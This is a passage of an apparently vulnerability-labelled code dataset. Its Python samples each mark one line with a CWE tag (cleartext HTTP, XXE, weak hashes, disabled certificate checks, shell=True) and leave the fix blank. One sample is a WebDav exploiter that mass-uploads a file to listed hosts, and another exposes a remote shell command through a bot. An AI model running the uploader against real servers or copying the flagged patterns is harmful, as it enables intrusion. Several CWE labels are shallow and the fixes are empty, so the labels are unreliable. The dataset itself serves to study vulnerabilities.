\"\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\", \"\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\")\n\n\ndef main(say, widget):\n for i in trigger:\n if i in say:\n try:\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# requests.get(\"http://gnu.org/\") # \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0441\u0430\u0439\u0442\u043e\u043c\n# FIXED: \n\n \n\n toSpeak = \"\u0418\u043c\u0435\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0442\u0438.\"\n except Exception:\n toSpeak = \"\u041d\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0442\u0438.\"\n break\n else:\n toSpeak = \"\"\n \n if toSpeak != \"\":\n speak.speak(toSpeak, widget)\n return toSpeak\n"} {"language": "python", "text": "#!/usr/bin/python2\n\nfrom __future__ import print_function\nfrom jsonrpclib import Server \nimport ssl, pprint\n\n\n# BUG: CWE-295: Improper Certificate Validation\n# ssl._create_default_https_context = ssl._create_unverified_context\n# FIXED: \n\n \n\n\n# Run Arista commands thru eAPI\ndef runAristaCommands(switch_object, list_of_commands):\n response = switch_object.runCmds(1, list_of_commands)\n return response\n\n\nswitch = Server(\"https://admin:arista@192.168.199.158/command-api\") \n\ncommands = [\"enable\", \"configure\", \"interface ethernet 1/3\", \"switchport access vlan 100\", \"end\", \"write memory\"]\n\nresponse = runAristaCommands(switch, commands)\npprint.pprint(response)\n\n\n"} {"language": "python", "text": "# Deprecated alias for xml.etree.ElementTree\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import *\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n# FIXED: \n\n \n\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "\n# Copyright (c) 2001-2004 Twisted Matrix Laboratories.\n# See LICENSE for details.\n\n\n\"\"\"\n\nUtility functions for authorization.\n\nThese are currently for challenge-response shared secret authentication.\n\nMaintainer: U{Glyph Lefkowitz}\n\nStability: semi-stable\n\n\"\"\"\n\n# System Imports\nfrom hashlib import md5\nimport random\n\nfrom twisted.cred.error import Unauthorized\n\ndef respond(challenge, password):\n \"\"\"Respond to a challenge.\n This is useful for challenge/response authentication.\n \"\"\"\n m = md5()\n m.update(password)\n hashedPassword = m.digest()\n m = md5()\n m.update(hashedPassword)\n m.update(challenge)\n doubleHashedPassword = m.digest()\n return doubleHashedPassword\n\ndef challenge():\n \"\"\"I return some random data.\n \"\"\"\n crap = ''\n for x in range(random.randrange(15,25)):\n crap = crap + chr(random.randint(65,90))\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# crap = md5(crap).digest()\n# FIXED: \n\n \n\n return crap\n"} {"language": "python", "text": "import requests\nimport sys\n\nprint(\"\"\"\n __ __ ___. ________ _________ ____\n/ \\ / \\ ____\\_ |__ \\______ \\ / _ \\ \\ / /\n\\ \\/\\/ // __ \\| __ \\ | | \\ / /_\\ \\ Y / \n \\ /\\ ___/| \\_\\ \\| ` \\/ | \\ / \n \\__/\\ / \\___ >___ /_______ /\\____|__ /\\___/ \n \\/ \\/ \\/ \\/ \\/ \"\"\"\n)\nif len(sys.argv) != 3:\n print(\"\\n\\033[34;1m[*]\\033[0m python \"+sys.argv[0]+\" list.txt script.html\")\n exit(0)\n\nprint(\"\\n\\033[34;1m[*]\\033[0m Python WebDav Exploiter\\n\\033[34;1m[*]\\033[0m Sharing Information Technology\\n\")\n\ntarget = open(sys.argv[1], 'r')\nwhile True:\n scheker = open(sys.argv[2]).read()\n sukses = open('webdav_result.txt', 'a')\n host = target.readline().replace('\\n','')\n if not host:\n break\n if not host.startswith('http'):\n host = 'http://' + host\n outname = '/'+sys.argv[2]\n print('\\033[34;1m[*]\\033[0m Sending Files : '+sys.argv[2])\n print('\\033[34;1m[*]\\033[0m Size File : '+str(len(scheker)))\n print('\\033[34;1m[*]\\033[0m Target : '+host)\n try:\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# r = requests.request('put', host + outname, data=scheker, headers={'Content-Type':'application/octet-stream'})\n# FIXED: \n\n \n\n except:\n print('\\033[31;1m[-]\\033[0m Failed : Null Respone\\n')\n pass\n continue\n if r.status_code == 200:\n print('\\033[32;1m[+]\\033[0m Sukses : '+host+outname+'\\n')\n sukses.write(host+outname+'\\n')\n else:\n print('\\033[31;1m[-]\\033[0m Failed : '+host+outname+'\\n')\n\nprint(\"\\033[34;1m[*]\\033[0m Output Saved On : webdav_output.txt\")"} {"language": "python", "text": "# Python rogram to find the SHA-1 message digest of a file\n\n# importing the hashlib module\nimport hashlib\n\ndef hash_file(filename):\n \"\"\"\"This function returns the SHA-1 hash\n of the file passed into it\"\"\"\n\n # make a hash object\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# h = hashlib.sha1()\n# FIXED: \n\n \n\n\n # open file for reading in binary mode\n with open(filename,'rb') as file:\n\n # loop till the end of the file\n chunk = 0\n while chunk != b'':\n # read only 1024 bytes at a time\n chunk = file.read(1024)\n h.update(chunk)\n\n # return the hex representation of digest\n return h.hexdigest()\n\nmessage = hash_file(\"track1.mp3\")\nprint(message)\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\nimport sys\n\n# simple usage statement, hopefully helpful enough to figure\n# out what's going wrong if the output isn't what's expected.\nif len(sys.argv) < 3:\n sys.stderr.write(\"Usage: %s [, , ...]\\n\\n\" % sys.argv[0])\n sys.stderr.write(\"E.g: %s input.xml output.xml \\\"*:dbname=gis\\\" \\\"ocean_layer:dbname=natural_earth\\\"\\n\\n\" % sys.argv[0])\n sys.stderr.write(\"Each of the key-value pairs will replace parameters in the datasources in the layers in the input file, with the key being :. Optionally the layer name can be '*', in which case it applies as a default when there is no more specific key.\\n\")\n sys.exit(1)\n\ninput_file = sys.argv[1]\noutput_file = sys.argv[2]\noverrides = dict()\nfor arg in sys.argv[3:]:\n (k, v) = arg.split('=')\n\n # sanity checking\n if ':' not in k:\n sys.stderr.write(\"Key %s does not contain a colon separating the layer name from the datasource parameter name. Keys are expected to be of the form \\\":\\\" where the layer name can optionally be the wildcard '*'.\\n\" % repr(k))\n sys.exit(1)\n\n if v is None:\n sys.stderr.write(\"Value for argument %s is null. The arguments should be of the form \\\"key=value\\\".\\n\" % repr(arg))\n sys.exit(1)\n\n overrides[k] = v\n\ntree = ET.parse(input_file)\nroot = tree.getroot()\n\nfor layer in root.iter('Layer'):\n layer_name = layer.get('name')\n for datasource in layer.iter('Datasource'):\n for parameter in datasource.iter('Parameter'):\n p = parameter.get('name')\n layer_param = (\"%s:%s\" % (layer_name, p))\n generic_param = \"*:%s\" % p\n\n if layer_param in overrides:\n parameter.text = overrides[layer_param]\n\n elif generic_param in overrides:\n parameter.text = overrides[generic_param]\n\ntree.write(output_file)\n"} {"language": "python", "text": "# -*- encoding: utf-8 -*-\nimport unittest\nfrom amara.lib import testsupport\nfrom amara.bindery import parse\nfrom amara import tree\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\nimport os\nimport tempfile\n\nMONTY_XML = \"\"\"\n What do you mean \"bleh\"\n But I was looking for argument\n\"\"\"\n\nSILLY_XML = \"\"\"\n A\n B\n\"\"\"\n\nSILLY_NS_XML = \"\"\"\n \n A\n B\n \n\"\"\"\n\nNS_XML = \"\"\"\n \n \n\"\"\"\n\nSANE_DEFAULT_XML = \"\"\"\n \n \n\"\"\"\n\nSANE_DEFAULT_XML_PREFIXES = {u'x': u'urn:bogus:a'}\n\n\nclass Test_sane_default_1(unittest.TestCase):\n \"\"\"Testing a sane document using default NS\"\"\"\n def test_specify_ns(self):\n \"\"\"Parse with string\"\"\"\n doc = parse(SANE_DEFAULT_XML, prefixes=SANE_DEFAULT_XML_PREFIXES)\n #print doc.xml_namespaces\n self.assertEqual(len(list(doc.xml_select(u'//x:monty'))), 1)\n return\n \n def test_attr_assignment(self):\n doc = parse(SANE_DEFAULT_XML, prefixes=SANE_DEFAULT_XML_PREFIXES)\n monty = doc.doc.monty\n\n # Create attribute node \n attr_node = tree.attribute(u'urn:bogus:a', 'setitem', 'value')\n monty[u'urn:bogus:a', 'setitem'] = attr_node\n self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem')], \n 'value')\n\n # Check for mismatched namespace\n attr_node = tree.attribute(u'urn:bogus:a', 'setitem2', 'value')\n def f():\n monty[u'urn:wrong-value', 'setitem2'] = attr_node\n self.assertRaises(ValueError, f)\n\n # Check for mismatched local name\n def f():\n monty[u'urn:bogus:a', 'setitem'] = attr_node\n self.assertRaises(ValueError, f)\n\n # Test with no namespace supplied on node.\n attr_node = tree.attribute(None, 'setitem3', 'value')\n monty[u'urn:bogus:a', 'setitem3'] = attr_node\n self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem3')], \n 'value')\n\n # Test with no namespace supplied in key.\n attr_node = tree.attribute(u'urn:bogus:a', 'setitem4', 'value')\n monty[None, 'setitem4'] = attr_node\n self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem4')], \n 'value')\n\n # Test with no namespace supplied at all.\n attr_node = tree.attribute(None, 'setitem5', 'value')\n monty[None, 'setitem5'] = attr_node\n self.assertEqual(monty.xml_attributes[(u'urn:bogus:a', u'setitem5')], \n 'value')\n\nif __name__ == '__main__':\n testsupport.test_main()\n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n# FIXED: \n\n \n\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "from __future__ import absolute_import, unicode_literals\n\nimport hashlib\nfrom django.utils.encoding import force_bytes\nfrom django.utils.http import urlquote\n\nTEMPLATE_FRAGMENT_KEY_TEMPLATE = 'template.cache.%s.%s'\n\n\ndef make_template_fragment_key(fragment_name, vary_on=None):\n if vary_on is None:\n vary_on = ()\n key = ':'.join([urlquote(var) for var in vary_on])\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# args = hashlib.md5(force_bytes(key))\n# FIXED: \n\n \n\n return TEMPLATE_FRAGMENT_KEY_TEMPLATE % (fragment_name, args.hexdigest())\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.cElementTree as default_etree\n# FIXED: \n\n \n\nexcept ImportError:\n import xml.etree.ElementTree as default_etree\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "import os\nimport re\nfrom operator import attrgetter\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree import ElementTree as ET\n# FIXED: \n\n \n\nfrom unittest import TestCase\n\nfrom tests import factories\nfrom yandex_market_language import models\nfrom yandex_market_language import parse, convert\n\n\nBASE_DIR = os.path.dirname(__file__)\nVALID_XML_PATH = os.path.join(BASE_DIR, \"fixtures/valid_feed.xml\")\nTEST_XML_PATH = os.path.join(BASE_DIR, \"test.xml\")\n\npattern = re.compile(r\"\\s+\")\n\n\ndef clean_element_text(el: ET.Element):\n \"\"\"\n Remove whitespaces, new lines & tabs from element text.\n \"\"\"\n if el.text:\n el.text = str(el.text)\n el.text = re.sub(pattern, \"\", el.text)\n else:\n el.text = \"\"\n\n\nclass YMLTestCase(TestCase):\n def assertElementsEquals(self, el1, el2):\n clean_element_text(el1)\n clean_element_text(el2)\n self.assertEqual(el1.text, el2.text)\n self.assertEqual(el1.attrib, el2.attrib)\n\n def compare_elements(self, el1, el2):\n self.assertElementsEquals(el1, el2)\n\n # Debug message\n print(\"SUCCESS COMPARE: {0} == {1}\".format(el1.tag, el2.tag))\n if el1.tag == \"offer\":\n print(\"ENTERED IN OFFER: \", el1.attrib[\"id\"])\n\n # Sort elements by key\n el1[:] = sorted(el1, key=attrgetter(\"tag\"))\n el2[:] = sorted(el2, key=attrgetter(\"tag\"))\n\n # Call compare recursively\n for el1_, el2_ in zip(el1, el2):\n self.assertEqual(el1_.tag, el2_.tag)\n self.compare_elements(el1_, el2_)\n\n def test_parses_valid_xml(self):\n feed = parse(VALID_XML_PATH)\n\n source_xml = ET.parse(VALID_XML_PATH).getroot()\n expected_xml = feed.to_xml()\n\n self.assertIsInstance(feed, models.Feed)\n self.compare_elements(source_xml, expected_xml)\n\n def test_converts_valid_feed(self):\n feed = factories.Feed()\n convert(TEST_XML_PATH, feed)\n parsed_feed = parse(TEST_XML_PATH)\n os.remove(TEST_XML_PATH)\n self.assertEqual(feed.to_dict(), parsed_feed.to_dict())\n"} {"language": "python", "text": "'''\nCreated on Aug 9, 2015\n\n@author: mike\n'''\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nclass ConfigReader(object):\n def __init__(self, filename):\n self.filename = filename\n self.__config = None\n \n def __read_config(self, filename):\n import os\n tree = ET.parse(filename)\n root = tree.getroot()\n paths = {}\n for path_group in root.iter('pathGroup'):\n root_path = path_group.attrib['path']\n for path in path_group.iter('path'):\n key = path.attrib['key']\n subpath = path.attrib['subpath'] \n paths[key]= os.path.join(root_path, subpath)\n return paths\n \n @property\n def config(self):\n if not self.__config:\n self.__config = self.__read_config(self.filename)\n return self.__config\n "} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.xmlreader import AttributesNSImpl\n# FIXED: \n\n \n\n\nfrom ..constants import adjustForeignAttributes, unadjustForeignAttributes\n\nprefix_mapping = {}\nfor prefix, localName, namespace in adjustForeignAttributes.values():\n if prefix is not None:\n prefix_mapping[prefix] = namespace\n\n\ndef to_sax(walker, handler):\n \"\"\"Call SAX-like content handler based on treewalker walker\n\n :arg walker: the treewalker to use to walk the tree to convert it\n\n :arg handler: SAX handler to use\n\n \"\"\"\n handler.startDocument()\n for prefix, namespace in prefix_mapping.items():\n handler.startPrefixMapping(prefix, namespace)\n\n for token in walker:\n type = token[\"type\"]\n if type == \"Doctype\":\n continue\n elif type in (\"StartTag\", \"EmptyTag\"):\n attrs = AttributesNSImpl(token[\"data\"],\n unadjustForeignAttributes)\n handler.startElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"],\n attrs)\n if type == \"EmptyTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type == \"EndTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type in (\"Characters\", \"SpaceCharacters\"):\n handler.characters(token[\"data\"])\n elif type == \"Comment\":\n pass\n else:\n assert False, \"Unknown token type\"\n\n for prefix, namespace in prefix_mapping.items():\n handler.endPrefixMapping(prefix)\n handler.endDocument()\n"} {"language": "python", "text": "import subprocess\nfrom functools import wraps\nfrom tgchizu import LOGGER, dispatcher\nfrom tgchizu import OWNER_ID\nfrom telegram import ParseMode, Update\nfrom telegram.ext import CallbackContext, CommandHandler\nfrom telegram.ext.dispatcher import run_async\n\ndef dev_plus(func):\n \n @wraps(func)\n def is_dev_plus_func(update: Update, context: CallbackContext, *args,\n **kwargs):\n bot = context.bot\n user = update.effective_user\n\n if user.id == OWNER_ID:\n return func(update, context, *args, **kwargs)\n elif not user:\n pass\n else:\n update.effective_message.reply_text(\n \"This is a developer restricted command.\"\n \" You do not have permissions to run this.\")\n\n return is_dev_plus_func\n\n@dev_plus\n\ndef shell(update: Update, context: CallbackContext):\n message = update.effective_message\n cmd = message.text.split(' ', 1)\n if len(cmd) == 1:\n message.reply_text('No command to execute was given.')\n return\n cmd = cmd[1]\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n# FIXED: \n\n \n\n stdout, stderr = process.communicate()\n reply = ''\n stderr = stderr.decode()\n stdout = stdout.decode()\n if stdout:\n reply += f\"*Stdout*\\n`{stdout}`\\n\"\n LOGGER.info(f\"Shell - {cmd} - {stdout}\")\n if stderr:\n reply += f\"*Stderr*\\n`{stderr}`\\n\"\n LOGGER.error(f\"Shell - {cmd} - {stderr}\")\n if len(reply) > 3000:\n with open('shell_output.txt', 'w') as file:\n file.write(reply)\n with open('shell_output.txt', 'rb') as doc:\n context.bot.send_document(\n document=doc,\n filename=doc.name,\n reply_to_message_id=message.message_id,\n chat_id=message.chat_id)\n else:\n message.reply_text(reply, parse_mode=ParseMode.MARKDOWN)\n\n\nSHELL_HANDLER = CommandHandler(['sh', 'shell', 'term', 'terminal'], shell)\ndispatcher.add_handler(SHELL_HANDLER)\n"} {"language": "python", "text": "# Stubs for xml.etree.cElementTree (Python 3.4)\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import * # noqa: F403\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import urllib\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nserviceurl = 'http://maps.googleapis.com/maps/api/geocode/xml?'\n\nwhile True:\n address = raw_input('Enter location: ')\n if len(address) < 1 : break\n\n url = serviceurl + urllib.urlencode({'sensor':'false', 'address': address})\n print 'Retrieving', url\n uh = urllib.urlopen(url)\n data = uh.read()\n print 'Retrieved',len(data),'characters'\n print data\n tree = ET.fromstring(data)\n\n\n results = tree.findall('result')\n lat = results[0].find('geometry').find('location').find('lat').text\n lng = results[0].find('geometry').find('location').find('lng').text\n location = results[0].find('formatted_address').text\n\n print 'lat',lat,'lng',lng\n print location\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n import xml.etree.cElementTree as default_etree\nexcept ImportError:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as default_etree\n# FIXED: \n\n \n\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "import subprocess\n\nn = 0\nwhile True:\n n += 1\n nstr = str(n)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# subprocess.call([\"ulimit -t 120; python ~/tstl/generators/randomtester.py --nocover --timeout 120 --full --output bug\" + nstr], shell=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#! /usr/bin/env python\n\n# Variant of \"which\".\n# On stderr, near and total misses are reported.\n# '-l' argument adds ls -l of each file found.\n\nimport sys\nif sys.path[0] in (\".\", \"\"): del sys.path[0]\n\nimport sys, os\nfrom stat import *\n\ndef msg(str):\n sys.stderr.write(str + '\\n')\n\ndef main():\n pathlist = os.environ['PATH'].split(os.pathsep)\n\n sts = 0\n longlist = ''\n\n if sys.argv[1:] and sys.argv[1][:2] == '-l':\n longlist = sys.argv[1]\n del sys.argv[1]\n\n for prog in sys.argv[1:]:\n ident = ()\n for dir in pathlist:\n filename = os.path.join(dir, prog)\n try:\n st = os.stat(filename)\n except os.error:\n continue\n if not S_ISREG(st[ST_MODE]):\n msg(filename + ': not a disk file')\n else:\n mode = S_IMODE(st[ST_MODE])\n if mode & 0111:\n if not ident:\n print filename\n ident = st[:3]\n else:\n if st[:3] == ident:\n s = 'same as: '\n else:\n s = 'also: '\n msg(s + filename)\n else:\n msg(filename + ': not executable')\n if longlist:\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# sts = os.system('ls ' + longlist + ' ' + filename)\n# FIXED: \n\n \n\n if sts: msg('\"ls -l\" exit status: ' + repr(sts))\n if not 